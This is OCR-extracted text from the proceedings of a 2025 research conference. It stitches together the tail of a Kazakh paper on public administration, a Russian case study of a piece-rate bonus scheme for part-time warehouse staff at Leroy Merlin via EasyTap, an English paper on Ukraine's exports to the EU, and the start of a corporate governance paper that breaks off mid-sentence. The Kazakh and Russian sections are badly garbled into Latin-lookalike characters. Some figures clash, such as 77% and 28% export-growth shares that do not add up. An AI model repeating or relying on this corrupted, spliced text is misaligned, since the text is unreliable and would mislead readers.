MaKcaTTap MeH MiHAEeTTep cunaTbiHa Kapam — CaAacKM KaHe JKIMWINIK wewimaep,
HackapaTblH KoHEe aTKapyllbl, CTPATErvANbIK Hemece OnepaTUBTI-TaKTMKabIK, Kajnbl
MeMIEKETTIK HEMEeCe MEM/IEKETTIK BMIPJiH, KeKenereH alMaKkTapblHa KaTbICTbl LIELWiMAER;

KOfaMHbIH ©Mip  cananapbl GOMbiHLWIA — LWapyallblablK 3KOHOMWKANbIK, 91EYMETTIK,
MEM/IEKETTIK KYPbI/bIC KaHe backapy macenenepi OOMbIHWA, MSAEHM KYPbIIbIC KaHe T.6.
HoMblHLWA WewiMmaep;

backapy O0ObBeKTiCiH KamTy MmaclTabbiHa Kapal—Kannbl KyMenik, »Kannbl canacwy,
MUKPOIKOHOMMKASIbIK MNEH MaKPO3KOHOMMKA/IbIK LeLWiMmaep;

backapy PyHKUMANaPbI BoMbIHLIA — *Kocnapay, YMbIMAacTbipy, bakblaay KaHe Tafbl 6acka
Mmacesienep 6onbiHla Wwewimaep(4].

Casacu Wewimaepdid, Mbicanbl peTiHAe MeMAeKeTTiK baraapnamanapbl, 9/71eyMeTTiK
9KOHOMMKA/bIK, DNEYMETTIK-CAACK KOHE SCKepW — CTpaTeryanblik KOHUEenuusanapabl, engi
MapnameHTiMeH KabblngaHfFaH KOHCTUTYUMANLIK CMNaTTafbl 3aHHaMa blK akTinepadi, memnexker
KbI3METiHe KaTbICTbl annbl macenenep 6onbiHwa KP [pe3naeHTiHiH, HKapablkTapbiH anTyfa
H6onaapl. OKIMLLINIK-BacKapyLLbIAbIK WeLwWiMaep KaTapbiHa YKIMETTIH Kay/1bl1apblH, MUHUCTPAIKTEP
MeH Be0MCTBO/1apAblH OYNPbIFbl MEH BKiMAEpi *KaTKbi3yra 6onaabl.

MNapanaHfaH aaebuetTep:

1.K.C.MyxTapoBsa,A.T.MbinToikbaesa, /1. ). AlunpbekoBa. [ocydapcTBEHHOE W MeCcTHoe
ynpas/ieHue. YyebHoe nocobume. Kasak yHmnsepuTeTi. 2018 1.

2.T.H.CaHcbizbaesa, K. C. MyxTaposa, /1. . Awunpbekosa. Teopua rocyaapcTBEHHOro
ynpasneHua: ydebHoe nocobue /; Kasaxckuit HaumoHanbHbln YHUBEpPCUTET MMeHU anb-Gapabu.-
AnmaTbl: Kasak yHuBepcuteTi, 2015. - 318 c.

108



«Foundations and Trends in Research» (April 3-4, 2025). Copenhagen, Denmark I

3.Haymos, C.1O. Teopwua rocyaapCTBEHHOIO MyHUUMNANbHOTO ynpaBneHus: yyeb. MNocobue
/ C.10. Haymos, C.B.Cepryuwko, A.A.MoacymkoBsa.- M.: ®opym, 2011.- 319 c.- (Mpod. obpasosaHue).

4.P.f.EcenxiritoBa MemneKkeTTik backapy Teopusacbl MaHi OoMbiHWA A2picTep Kypchbl. -
andapabu atbiH. KasYyY, IKBKM. - AamaTbl: 2016. - 66 6.

109



Proceedings of the 9th International Scientific Conference

MHHOBALLMIW B YTTPAB/IEHNI
[TEPCOHAJIOM B OPTAHN3ALVAX B
COBPEMEHHbBIX YC/TOBUNAX

KnaxmuHa AHactacua [asnosHa

MarmcTpaHTKa BbiCLen WKOIbl SKOHOMWKM U MEHEAXMEHTA, YHMBEpPCUTETA « TypaH», T.
Anmartsl

Hay4HbIn pyKoBOAUTENb:

bykeixaHoBa T.K.

K.3.H., aCCOLMMPOBaHHbIN Npodeccop

AHHOTAL WA

B ycnoBmax pacTylein KOHKYpPeHLMM 3a Kaapbl KOMNaHMM CTPEMATCA He TONIbKO NPUBIEKaTb
COTPYAHWKOB, HO W MNOBbIWATb WX MNPOAYKTMBHOCTb. B cCTaTbe paccMaTpmMBaeTCA KeWc
coTpyaHudectBa Leroy Merlin 1 EasyTap, rae BHeapeHWe CcAeNbHOM OMNaaThl MOBLICKUIO
3bPEKTMBHOCTb BPEMEHHbIX PAabOTHMKOB, MX MOTMBALMIO M YPOBEHb BO3BPALLAEMOCTU. AHaANU3
[AHHbIX NOATBEPXKAAET, YTO MHHOBAUMOHHbIe HR-CcTpaTernm, BkatoYaa rmbkne moaenn onnatbl 1
NepcoHaNM3MpPOBaHHblE CTMMY/bl, CMOCOOCTBYIOT POCTYy K/AOYEBbIX MOKasaTenen OM3Heca M
YKPENnAeHMo NO3MLMIA KOMNAHUK Ha PbIHKE.

Knlouesble cnosa: MOTMBAUMA COTPYAHWKOB, rMbKas onnata Tpyda, BPEMEHHble
PabOTHMKK, NPOAYKTUBHOCTb NepcoHana, HR-cTpaternm, NoANbHOCTb COTPYAHMUKOB.

B yCcNnoBMAX COBPEMEHHOrO PbIHKA, e KOHKYPEHUMS 3a TaNaHTAMBbLIX CMeuuanmcTos
MNOCTOAHHO YCU/IMBAETCA, KOMMAHUM yAENAOT BHUMAHME HE TONIbKO MPUB/EYEHUIO COTPYAHUKOB,
HO M CO3AaHWMIO YCNIOBMIM ANA NOBbIWeEHUA UX 3GGEKTUBHOCTM M BOBAEYEHHOCTM. YNpaBneHue
NepcoHaNoM npeTeprneBaeT 3HaUYUTE/NbHblE WM3MEHEHWA NoA, BAUAHMEM TEXHONOrMYECKOro
nporpecca, uMdpoBmn3aLMM Paboymx NPOLECCOB U U3MEHEHWI B COLMOKYABTYPHbIX OMUAAHUAX
paboTHMKoB. CeroAHs MHHOBaLUMM B HR CTAaHOBATCA HE NMPOCTO MHCTPYMEHTOM OMNTUMM3ALMM, A
KNto4yeBbiM GakTOpoMm, onpeaenatolinmm ycnex KomnaHnmn, CoBpemMeHHble NOAX0Abl MO3BONAOT He
TO/IbKO MOBbILLATL MPOU3BOAMTENBHOCTb COTPYAHMKOB, HO M GOPMMPOBATb Y HUX WMHTEpPecC K
[ONTOCPOYHOMY COTPYAHNYECTBY, CHUMKAA TEKYYECTb KaZPOB N yBEINUYMBAS NOANBHOCTb K BpeHay
paboTtoaatens.

KntoyeBas 3aga4a ynpasaeHMa nepcoHas oM — 3TO PacKpbiTUe, pa3BuTUE N 3IPPEKTMBHOE
MCNONb30BaHME KaZpOBOro NoTeHuUmMana KoMmnaHmm. B coBpemMeHHbIX YCN0BMAX ANS AOCTUKEHNSA
3TOM UeNn HeobxoaMMO BHeApeHMEe MHHOBALMOHHbLIX METO/0B, HanpaB/AeHHbIX Ha NOBbILEHNE
KOHKypeHTOCNocobHOCTM  opraHm3aumun. CoBpeMeHHbI  HR-meHeaKMeHT onupaeTca  Ha
nepenosble TEXHOMOMMU M ONTUMM3MPOBAHHbIE MPOLECCHI, BKAOYaA aBTOMATM3MPOBAHHbIE
cuctembl noabopa M aganTauyum nepcoHana, NepcoHann3nMpPoBaHHbIe NPOrpaMmbl MOTUBALMM, A
TakKe rmbkme moaenu onnatbl TPyAa. ITM MHCTPYMEHTbI NO3BOAAKOT KOMMAHWAM OnepaTMBHO
pearnpoBaTb Ha MU3MEHEHMA BO BHELIHEN cpeae, YKPEenaaTh PbiIHOYHbIE NO3MLMK M 0becneynsaTb
yCTON4YMBbIN pocT [1].

MHHOBALUMOHHbIE MOAXOAbl B YMNPaBAEHMM MNEPCOHA/IOM HaueNeHbl Ha MOoBblleHMe
NPOAYKTUBHOCTU COTPYAHWUKOB 3a cYeT 3GPEKTUBHON MOTMBALUMMK. BarKHO yUMTbIBaTb HE TONbKO
TEeXHONOTNYECKME JOCTUKEHMUSA, HO M aKTya ibHble COLMAbHbIE N SKOHOMMYECKMEe TeHaeHUMK. [na
YCNELWHOro MNPMBIAEYEHNS HOBbIX CMEeUMasncToB W NOAJEPNKaHUS  3aMHTePEeCcOBaHHOCTU
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[EeNCTBYOWMX COTPYAHMKOB KOMMNAHMAM HEOBXOAMMO MOCTOAHHO Pa3BMBATLCA, aLaNTMPOBATHCA
K HOBbIM Bbl30BaM M NpeasaraTb COBPEMEHHbIE PelleHMnA, COOTBETCTBYOWME OXKMAAHMAM PbIHKA
Tpyaa.

OfHaKO Ha MpaKTMKe MHOrMe KomnaHuu, paboTatolime C NMHEMHbIM MepCcoHaNoM, He
YOENAT A0CTAaTOYHOrO BHMMaHMA (GUHAHCOBOM moTMBauMW. OHW MPUMEHAIOT CTaHAAPTHbIE
CXeMbl OMNNaTbl, He UCNOb3ys BOHYCHblEe MPOrPaMMbl U CTUMY/bI, KOTOPble MOrK Obl MOBLICUTb
Npon3BOANTENBHOCTb TPYAA.

ApKMM  NpuMMepom HeobXxoAMMOCTM nepecmoTpa MNOAXOA40B K  MOTMBALMM  CTano
COTPYAHMYECTBO MENKAYHAPOAHOTO Mara3mHa CTpouTenbHbiX MaTepuanoB Leroy Merlin ¢
Ka3axCTaHCKMM OHaMH-CEPBUCOM MO HalMy BpeMeHHbIX paboTHMKoB EasyTap.

EasyTap- KasaxctaHckuit HR- cepBuC 1A Halma NoYacoBOro nepcoHana B MMKOBbIE Yachl.
KomnaHua cneumnanmsmpyetca Ha CPOYHOM HalMMe AMHEMHOro nepcoHana Ans opraHuW3auuin B
chepe posHuuHoi Toprosnm (Retail), HoReCa 1 normcTuku.

Leroy Merlin - mexayHapoaHaa KOMMaHUA-pUTENNEp, KOTopaa Chneumanm3mpyeTcs Ha
npoAaKe TOBApOB A/1A CTPOUTENLCTBA, OTAENKMU M 0BYCTPOMCTBA AOMA, A34YM M cafa U MomoraeT
noaam bnaroycTpamsaTh KUABE W yAyYLLATh KQYeCTBO KU3HK [2].

Komnanua Leroy Merlin obpatunack K EasyTap € uUenbto NOBbICUTL 3PPEKTUBHOCTL M
NPOAYKTMBHOCTb MapT-TalM COTPYAHWMKOB Ha paboumx cmeHax. PaHee, COTpyAHWYaA C ApYrUm
Ka3axCTaHCKMM QyTCOPCWMHIOBbIM areHTCTBOM, KOMMaHUA MCMNO/Ab30Basa CTAHAAPTHYHO CXemy
onnatel — @GUKCMpoBaHHYto cTaBky 850 KZT B u4ac 6e3 Kakux-"Mbo AONOAHWUTENbHbIX
MOTMBALMOHHbIX MHCTPYMEHTOB. Takon Noaxoa NPMBOAMA K HU3KOM BOBAEYEHHOCTM PabOTHUKOB:
COTPYAHMKM BbIMOMHAAN TONbKO MWHMMANbHO HeobxoaMMble 3aZayn, a OobWWin NpPOLEeHT
BbINONHEHMA pabounx 06A3aHHOCTEN Ha 1 NapT-Talm COTPYAHWKA COCTaBNAN BCero 23%.

STOT ONbIT HAMAAHO NPOAEMOHCTPUPOBA, YTO OTCYTCTBME CTUMYIMPYIOLLMX MEXAHN3MOB
HeraTMBHO BNMAET Ha 3PEKTUBHOCTb BPEMEHHbIX COTPYAHWKOB. [osToMy nepes EasyTap ctoana
33Zla4a pa3paboTaTb HOBYK CTpaTerMio MOTMBALMM, KOTOpasa He TONbKO MNoBbicMAa Obl
NPOW3BOAMNTENBHOCTb, HO M cnocobcTBOBaNa Obl POCTY BOBAEYEHHOCTM PaDOTHUKOB.

B coBpeMeHHbIX YyCIOBMAX KOMMAHWAM BaKHO OCTaBaTbCA TMOKMMUM M aJaNTUBHbIMM, UTOOb
Y4MTbIBATb NOTPEOHOCTM M OXKMAAHMA TEX, C KEM OHM paboTatoT. OaHUM 13 3GDEKTUBHBIX pelleHu
CTaNo BHeApeHMWe cAeNbHOW OnnaThl TpyAa ANA COTPYAHMKOB M3 QyTCOPCMHIOBbIX KOMMAHWMA.
OCHOBHble U 3TOro NoAX0Aa BKAOYAIOT:

1. JdoctmkeHune KPI no goctaBKke Ha ypoBHe He meHee 95%;

2. MosbiweHne NPS Online* ¢ 40% oo 70% (NPS Online - 3To nokasaTtenb JI0A/IbHOCTU
KAMEHTOB, M3MeEPAEMbI Ha OCHOBE WX OHJ/AMH-OMbITa B3aMMOAENCTBUA C KOMMNaHWenN,
NPOAYKTOM WU/IM CEPBUCOM);

3. dopmunposaHue 6asbl KMOCTOAHHbIX» NAPT-TAMM COTPYAHUKOB;

4. YBenunyenue apdeKkTBHOCTM PabOTHMKOB Ha CMeHax A0 94%.

Takmm 06pasom, MCNonb3oBaHWe rMBKOM CUCTEMbI OMAaThbl TPYAA NO3BOAAET HE TONbKO
NOBbLICUTb K/tOYEBble MoKasaTenu busHeca, HO M cO34aTb YCNoBMA ONA Honee AONTOCPOYHOrO
COTPYAHMYECTBA C KBAaNMOUUMPOBAHHBIMMN BPEMEHHBIMM COTPYAHUKAMM.

[0 BBEAEHMA CUCTEMbI CAEMbHOM ONaThl TPYAa Obla NPOBeAEH TECTOBLIN Nepmno, YTobbl
NPOaHaNM3MpPOBaTb HOBbIN MOAXOA4, M M3y4MUTb NOBeAeHYecKMe OCODEHHOCTM MNONb30BaTeNeMn
EasyTap. B panbHelwem 3TO N03BOAMAO CPOPMMPOBaATL OOnee MOTMBMPYIOLLME YCA0BUS,
a/lanTMpoBaHHble K NOTPeOHOCTAM COTPYAHWUKOB M UX Paboymnm NPMBbLIYKAM.

B Hayane coTpygHuyectBa OblNO cO34aHO obyyatollee BMAEO A4 MNOAb30BaTenel
npunoxeHuna EasyTap, KOTOpoe N03BOMAO UM DbicTpee pa3obpaTbea B paboumx 06A3aHHOCTAX U
ocobeHHOoCTAX paboyero mecTa. B pamkax cornalleHma Kaxaplii COTpyaHUK AonKeH bbln cobunpaTb
He meHee 60 SKU (SKU- 3To eamHMUa CKNaACKOro yyeTa, NpeacTaBnaowas cobon YHUKaNbHbIN
naeHTMdMKaTop ToBapa B cMCTeMe ynpasaeHua 3anacamu. SKU ncnonbayetca Ans OTCNEXKMBAHMA,
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yNpaBAeHWA U yyeTa NPOAYKLMM Ha CKNaZe, B PO3HUYHbIX MarasmMHax U B OHNAMH-TOProsne) 3a
0o4HY pabouyto cmeHy. Tem He meHee, KomnaHmA EasyTap cTpemmaacb MOTMBMPOBATb COTPYAHMKOB
Ha cbop Bonblwero konnyectsa SKU, nockonbKy onnata ot Leroy Merlin 3aBucena ot cobpaHHOro
obbema. 3To cnocobCcTBOBANO NOBbIWEHUIO 0OLIeN 3pPEKTUBHOCTM UCNONHUTeNeln EasyTap u
yBeNMYeHuto npubbian. B cBasm ¢ aTMm bBblna BHeAPEHa MOTMBALMOHHAA Mporpamma, KoTopas
npeaycMmaTpmBana AeHexHble BOHYCbl 33 KOAMYecTBO cobpaHHbIx SKU:

Konu4ecTso cTpok Cymma aeHeskHoro 6oHyca
60 — 80 5007
81-100 10007
101-120 15007
121 + 20007
MpuMmeyaHue- COCTaBIeHO aBTOPOB Ha OCHOBE aHaIMTUYECKMX AAHHbIX KOMNaHuK EasyTap

AcHo chopmynmnpoBaHHbI KPl cnocobcTBOBan MOTUMBALMM COTPYAHMKOB K IOCTUMNKEHMIO U
NPEeBbILEHNIO YCTAHOBAEHHbIX HOPM. 3TO, B CBOIO 04epesb, yy4LMA0 ONepaTMBHOCTb M KaYeCTBO
06paboTKM OHNAMH-3aKa30B MarasmHa, YTo NOATBEPANAN Pe3yNbTaTbl ABYXHEAENbHOIO TECTOBOrO
nepvoaa: NpoAyKTMBHOCTb OAHOMO COTPYAHMKA BO3pOCaa Ha 61%.

140 127 129 130
114 121

120 105
100 91
80

40

PucyHok 1 — Konumyectso cobpaHHbix SKU Ha ogHOro coTpyaHuKka
MpyMeYaHme- CoOCTaBMEHO aBTOPOM Ha OCHOBE OTHETHbIX
AaHHbIX KomnaHui EasyTap n Leroy Merlin

BoHycHaa cucTema Momorna COTPYAHMKAM MOHATb, YTO MX KOHEYHbI [A0XOA HamnpAMyo
3aBMCUT OT CKOPOCTM BbINOJAHEHMA 334a4y, MOCKO/bKY 3aprsiata pacCyMTbiBasacb Ha OCHOBe
oTpaboTaHHbIX 4YacoB M OOHYCcOB 3a KonmnyecTBo cobpaHHbix SKU Ha cmeHe [3]. OaHum wm3
K/NIOYEBbIX aCMeKTOB ABAANOCL TO, YTO MeHedepbl Leroy Merlin nocTtoAaHHO npurnawanm
COTPYAHMKOB BO3BPALLATLCA Ha MOBTOPHblIE CMEHbl, 4YTO CMocobCTBOBANO YBEIUYEHMIO
MNPUBEPKEHHOCTM PABOTHMKOB K KOMNAHMM U NOAYEPKMBANO UX 3aMHTEPECOBAHHOCTL B paboyem
npouecce.
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PucyHOK 2 — Bo3BpalllaeMocTb UcnosiHuTenen Ha paboty B Leroy Merlin
MprMeyaHmMe- coCTaBeHO aBTOPOM Ha OCHOBE OTYETHbIX
AaHHbIX KomnaHui EasyTap n Leroy Merlin

AHanNM3 AaHHbIX MOKa3blBaeT, YTO BO3BPALLAEMOCTb MO/b30OBaTeNel Ha NoApaboToKM B
Leroy Merlin ctabunbHO pocna Kaxablii mecal, AOCTUTHYB MakcMmyma B 12 cmeH B MiOHE Ha
04HOro ncnonHuTens ns EasyTap. BbiCOKMIM ypoOBEHb BO3BPALLAEMOCTM CTa KAOUYEBLIM GaKTOPOM,
Bnarogapa KOTopomy y KomnaHmm chopmmMpoBanca nys NoCTOAHHbIX NapT-Talm. 3T PabOTHUKM
Jlydllle 3HAKOMbl CO CTPYKTYpOM 3adady W ctanm Hosee npoayKTUBHbIMKU U 3DDEKTUBHBIMMY,
OMMPAACH Ha ONbIT, NPMOBPETEHHBIN Ha NPeabIAYLLMX CMEHAX.

OCHOBHbIM MOTUBMPYHOLWMM GAKTOPOM ANA COTPYAHWKOB C YaCTUYHOM 3aHATOCTbIO
ABNAETCA BbICOKaA onaata 3a cmeHy. PaboTta Ha nnatdopme EasyTap He npeabasnaeT TpeboBaHUM
K OMbITy, MO3TOMY CpeaHAsa 3apaboTHan naata coctaensaeT 7 500 TeHre 3a CMeHyY, pacCYMTaHHaA Ha
OCHOBE MOYacoBOW onnatbl Tpyaa. C BHeApPeHMEeM CUCTEMbl CAENbHOW OnAaThbl, 3aBMCALLENA OT
KonunyecTtBa cobpaHHbix SKU, cpeaHna 3apnnata 3a cmeHy B Leroy Merlin Bo3pocna ao 10 200
TeHre. 3TOT NOAXO4, NO3BOAMA COTPYyAHWKAM 3apabaTtbiBaTb 6Oo/blle NPW  NOBbILWEHWUM
NPOAYKTUBHOCTM, YTO MONOKMUTENBbHO CKA3aN0Ch Ha 0OLLEeN MOTUBALMKN U 3PHEKTUBHOCTM PaboTbl
KOMMaHWM B CEKTOpe OHAAMH npodax. IJTO NOATBEP)KAAeTCA JAAHHbIMW MO  KOAMYecTBy
0TpPabOoTaHHbIX 3aKa30B:
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PucyHoOK 3 — [InHammKa cOOPKM 3aKa30oB, COOpaHHbIX NapT-Talim paboTHUKaMM
MprMeyaHmMe- coCTaBeHO aBTOPOM Ha OCHOBE OTYETHbIX
AaHHbIX KomnaHuit EasyTap n Leroy Merlin
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ObLiee KONMYECTBO 3aKa30B MOCTEMEHHO yBeAMYMBaeTcA ¢ GeBpans No Wb, NPUYEM
[0NA 3aKa30B, COOPaHHbIX NAPT-TalMM PabOTHMKAMM, TaKXKe BO3pacTaeT, AOCTUIHYB MaKCMMyMa B
38% oT obliero ymcnia 3aka3oB B Mtofe. 3a NATb MECALEB MNOC/Ae Hayasa COTpyAHMYecTBa 3TOT
NOKa3saTenb Bblpoc ¢ 16% B deBpane Ao 38% B utone, YTO CBUAETENBCTBYET O BO3PACTatoLLEN POM
napT-TakM COTPYAHWMKOB B Mpouecce COOPKM 3aKa3oB. ITW AaHHble AEMOHCTPUPYIOT BaXKHOCTb
rmbKkoro noaxoaa B ynpaBAeHUN pecypcaMm MU NPaBUAbHOM MOTMBALLMK COTPYAHUKOB, KOTOPbIE B
nocnedytoulem  crnocobCTBYeT  yBeAMYEHWIO  MNPUMOLIAKM M YAYYWEHUIO  OMepauyOHHOM
3 deKTMBHOCTN. B NMKOBBIM mecsl, — Wionb, 3GGEKTUBHOCTb Ha OAHOro NapT-TalM COTPYAHMKA
coctasuna 96%, 4To NOKasbiBaeT 3IPPEKTUBHOCTb AAHHOIO MeToAa OnaaThbl TPyAa.

CoBpeMeHHbIe peannn pbiHKa Tpyaa TPeOyloT OT KOMMAHWM He TONbKO 3PPEeKTUBHOTO
noabopa nepcoHana, HO M CO34aHMA YCNOBUM ANA €ero NPOAYKTMBHOCTM WM BOBAEYEHHOCTMU.
MNHHOBALMOHHbIE METOAbI YNPaBNEeHNA NEePCOHANOM, Takne KaKk rmbkne moaenn onnatel TpyAa,
aBTOMaTM3auUMA NPOLECCOB M NepCoHaNN3MPOBaHHbIE MOTMBALMOHHbIE MPOTrPAaMMbl, NO3BONAOT
3HAYUTENbHO MOBBLICUTb IPPEKTUBHOCTb COTPYAHWMKOB M YKPEMUTb KOHKYPEHTHble MNO3MUMK
KOMNaHMM.

OnbIT cotTpyaHmyecTsa Leroy Merlin n EasyTap HarnagHoO NpoAeMOHCTPMPOBA BaXKHOCTb
CTUMYAMPYIOWMX MexaHM3MOB B paboTe C BpemeHHbIM MepcoHaNoM. BHeapeHWe cucTembl
CAENbHOM ONAaTbl MPMBENO K 3HAYUTENbHOMY POCTY MPOAYKTUBHOCTM, YBEAMYEHUIO 4YMCAa
BO3BPALLAOWMXCA COTPYAHUKOB M MOBbIWEHMIO MX 3apaboTHOM NaaTbl. B pe3ynbrate KOoMnaHmA
CMOMa AO0CTUYbL KOYEBbIX MOKasaTenelt adeKTUBHOCTU, YAYULINTb Ka4yecTBO OBCAyKMBaHWA
K/IMEHTOB M NOBbICUTb NOANIBHOCTb BPEMEHHbIX PabOTHMKOB.

[aHHbIN  Kenc noATBepXAaeT, 4YTO MCMONb30BaHME WHHOBALMOHHbLIX HR-cTpaTerni
CNOCOBCTBYET He TONbKO YAyYWEHWIO OMNepauUMOHHbIX MOKasaTenen, Ho u GOPMMPOBAHUIO
ycTonumebIx paboumx npoueccoB, obecneymBatoWmMx AONTOCPOYHbIA yCrnex OpraHusaumm B
YCNOBMAX BbICOKON KOHKYPEHL MW,
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The impact of export potential on the implementation of the tasks of economic development
of Ukraine in the context of European integration processes has been determined. The dynamics
and structure of Ukraine's exports to the countries of the European Union in the process of
European integration have been analyzed, the problems of the commodity structure of Ukraine's
exports in recent years have been characterized. The main instruments for financing export
operations have been determined. It has been proven that the growth of export volumes is
hindered by the problems of financing the needs of innovative development of Ukrainian
enterprises and the presence of a large number of unused production capacities.
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The current processes of European integration of the Ukrainian economy indicate the
presence of problems in the organization of international trade, the main of which are the
inconsistency with the trends in the development of international economic relations and the
limited ability to adapt to these trends due to political, economic and social crisis phenomena.
Theoretical understanding of the new role and place of Ukraine in the economy of the European
Union, the characteristics of the qualitative and quantitative parameters of these processes, the
analysis of export transaction trends, as well as the assessment of their impact on the economic
development of the country - all this indicates the need to develop scientific approaches to the
analysis of modern conditions of world trade, and therefore determines the relevance of studying
export potential as an important factor in the economic growth of Ukraine.

According to estimates by the World Trade Organization, about 77% of the growth in exports
in the world economy on average over the past ten years occurred due to the expansion of trade
volumes on the basis of existing export flows and, accordingly, 28% of the growth in exports - as a
result of trade in new goods. However, it is emphasized that the ratio of quantitative changes in
exports, which occur as a result of an increase in the volume of existing export flows, and
gualitative changes in exports, which occur on the basis of an increase in product and geographical
diversity, differs significantly for different countries and macroregions and determines different
rates of economic growth.

Quantitative growth in exports determines the possibility of using economies of scale for
exporting firms, as well as increasing the productivity of existing factors of production.

Qualitative growth in exports or a change in product and geographical diversity determines
the redistribution of resources between industries, the introduction of new factors of production,
including machinery and equipment, new types of human capital, which is necessary for the
production of innovative goods and competition in new markets.
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Therefore, assessments of the impact of growth in export potential on economic
development require taking into account quantitative and qualitative changes in exports, since the
latter are associated with different types of changes in the structure and nature of production.

In studies of global economic trends, scientists distinguish two main types of export growth:

—the first is the effects of export growth that arise as a result of an increase in the volume
and value of trade within existing export flows;

—the second is the effects of export growth that arise as a result of the process of export
diversification and the emergence of new export goods and export markets under the influence
of structural changes in the economy.

The first type of growth contributes to increasing the efficiency of the national economy
based on the redistribution of resources under the condition of constant returns to scale in the
production sector.

It should be noted that under the influence of globalization and economic cyclicality, the
proposed theoretical models for determining the effect of the impact of exports on economic
growth are used simultaneously in modern empirical studies, i.e. in addition to determining static
benefits based on the analysis of comparative advantages, long-term dynamic benefits arising
from the positive effect of trade growth are also analyzed [2].

The results of theoretical analysis of international trade models allow us to conclude that
production efficiency increases with constant and increasing returns to scale, as well as with
increasing productivity and output. In addition, the growth of market size and, accordingly, access
to a wider range of products at lower prices serve as an additional source of benefits from
international trade.

Thus, as a result of the redistribution of resources within industries from the least productive
firms to more productive ones, as well as the growth of sales of the most productive firms, gross
productivity in the economy increases.

It should be noted that one of the most widespread scientific views on the relationship
between the structure of exports and economic growth is the idea of a negative impact on
economic development of export specialization in raw materials, which arises as a result of the
country's excessive provision with natural resources.

There are various direct and indirect factors that determine the relationship between
resource dependence and the low level of economic development.

First, natural resources, through state intervention in the resource sector, provide ample
opportunities for obtaining high rents. The absence of restrictions on obtaining rents leads to
inefficient state spending and high incomes of elites. As a result, a "voracity effect" occurs, which
reduces per capita income.

Second, natural resources negatively affect the quality of institutions and, thus, cause a
lower level of per capita income.

Thirdly, the increase in the real exchange rate and the presence of non-resource sectors
create incentives for strengthening trade restriction measures (import substitution), inefficient
allocation of resources between sectors, including the emergence of capital-intensive sectors,
despite the capital deficit, and, as a result, a low level of per capita income.

If we determine the trends in the development of world trade in modern conditions, then
there is, on the one hand, increased international integration, the gradual erasure of borders and
the creation of various interstate trading blocs, and on the other hand, a deepening of the
international division of labor, the gradation of countries into industrially developed and
backward.

Of course, such an export structure is undesirable for the country for quite understandable
reasons: it means turning it into a "raw material" appendage of developed countries
(unfortunately, this also applies to Ukraine). However, at a certain stage of development, exports
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can play a certain positive role, performing the function of generating economic growth and
systemic reforms, a source of funds for the structural restructuring of the economy, and increasing
its technical level.

Unfortunately, this function is still far from being fully fulfilled by the export of raw materials.
This is confirmed by the results of the analysis of the commodity structure of Ukraine's exports to
European countries in recent years.

The main trend in the development of exports in Ukraine is the loss of sales markets,
primarily the CIS countries, and a reorientation to the markets of developed countries, especially
in recent years - to the markets of the European Union countries. The result of such changes is the
subordination of development to the economic interests of new partners, interested primarily in
products with a low degree of processing. The formation of such a structure, on the one hand, is
a factor in strengthening the raw material orientation of our country's exports, and on the other
hand, it consolidates the formed inefficient sectoral structure of regional exports [4].

Note that after the signing of the Association Agreement with the European Union, some
restrictions on trade between Ukraine and the EU were removed [1].

Ukraine has taken the necessary measures to gradually achieve compliance with EU
technical regulations and the EU standardization, metrology, accreditation, conformity
assessment and market surveillance systems and is committed to adhering to the principles and
practices set out in the current decisions and regulations of the European Union. And although we
are currently observing a certain increase in trade turnover with the CIS through imports of fuels
and lubricants, the situation has changed radically: over 42% of Ukrainian exports go to the
European Union, and Ukraine receives over 43% of total imports from the EU. The largest number
of industrial products in 2018 was exported to Poland (6.88%), Italy (5.55%) and Germany (4.67%).
Hungary and the Netherlands are also among the five largest buyers of Ukrainian goods. In total,
the top five countries in terms of exports of goods account for almost 24% from Ukraine to the
EU, and the top ten - 34% [5].

Sales volumes increased for all groups of export goods: for ores, slags and ash, exports to
Poland — by 35.7%, for ferrous metals — to Bulgaria and Italy — by 30.8% and 30.6%, respectively.

The analysis shows that in recent years, products directly or indirectly related to agriculture
have become dominant in Ukraine’s exports. If in 2010 the share of products of plant origin, fats
and oils, as well as finished food products was 17.8%, then in the first seven months of 2018 it
reached 41%. In general, such changes should be assessed as positive, since Ukraine is trying to
use its competitive advantages associated with favorable natural conditions for farming. At the
same time, the share of exports of goods with a high added value (finished food products) remains
quite low, which can be considered as a reserve for further increasing the efficiency of agricultural
exports [3].

The main goal of the development of international economic relations of Ukraine in modern
conditions is strategic management, that is, achieving a truly open economy of the state and its
integration into the world system. And the possibility of effective implementation of strategic tasks
depends on practical methods and instruments of trade financing, which would allow rationally
organizing economic relations with foreign partners and competitors, thereby contributing to the
effective implementation of domestic economic transformations.

Over the past decades, the world market has been actively developing new forms of loan
capital movement, in particular factoring, forfeiting, leasing, which are used by banks and other
financial intermediaries. Factoring is an operation to sell receivables of a supplier of export
products to banks or other specialized financial companies until payment is received by the
importer. There are factoring transactions with and without the right of recourse. As a rule, in
international relations, factoring transactions are carried out without the right of recourse.
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The next financial instrument of international trade is forfeiting - this is the purchase by the
forfeiting bank of bills of exchange and other payment documents. In this case, the bank bears the
risk of non-payment of debt obligations and includes in the price of the service a risk premium,
which is fixed in the agreement (forfeit). The source of funds for banks participating in forfeiting
operations is the Eurocurrency market.

In addition to the above trade financial instruments, leasing is used as lending in the form of
leasing fixed assets (equipment, cars, ships, aircraft, etc.). After the lease agreement expires, the
lessee can purchase the leased property at its residual value.

Thus, achieving results in the qualitative development of exports is hindered by the
problems of financing the needs of innovative development of Ukrainian enterprises, the presence
of a large number of idle production capacities, and the lack of sufficient financial support for
payments by domestic enterprises based on modern trade financing instruments. These problems
affect the imbalances in the commodity structure of domestic exports, which are affected by the
loss of economic ties between Ukrainian enterprises and business entities in part of the ATO zone,
the destruction of production and transport infrastructure, and the fall in world prices in key
commodity markets. Further scientific research should be directed at developing effective
mechanisms for reproducing the export potential of the Ukrainian economy and rationalizing the
structure of foreign trade in the new conditions of the development of integration processes in
world markets.
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Introduction

Modern businesses operate in a highly competitive and rapidly changing economic
landscape, as well as in globalized markets. Under these circumstances, an efficient corporate
governance system becomes crucial, ensuring a balanced consideration of the interests of all
parties involved: shareholders, management, employees, and partners. Corporate governance
serves as a key instrument for enhancing the competitiveness, sustainability, and investment
appeal of businesses[1].

The relevance of the research stems from the need to enhance corporate governance in
today's companies, which is linked to increasing demands for transparency, accountability, and
management effectiveness. In recent years, particular attention has been given to adherence to
corporate standards, implementation of digital technologies in management, and enhancing the
role of boards of directors in strategic enterprise development. In emerging markets such as
Kazakhstan and China, corporate governance is crucial for ensuring sustainable economic growth,
attracting investments, and protecting investors' rights. However, many companies in these
markets face challenges related to a lack of corporate culture, inadequate control over
management decisions, and ineffective top-level management incentives.

The purpose of this study is to develop recommendations for improving the corporate
governance system of the enterprise, considering modern challenges and best international
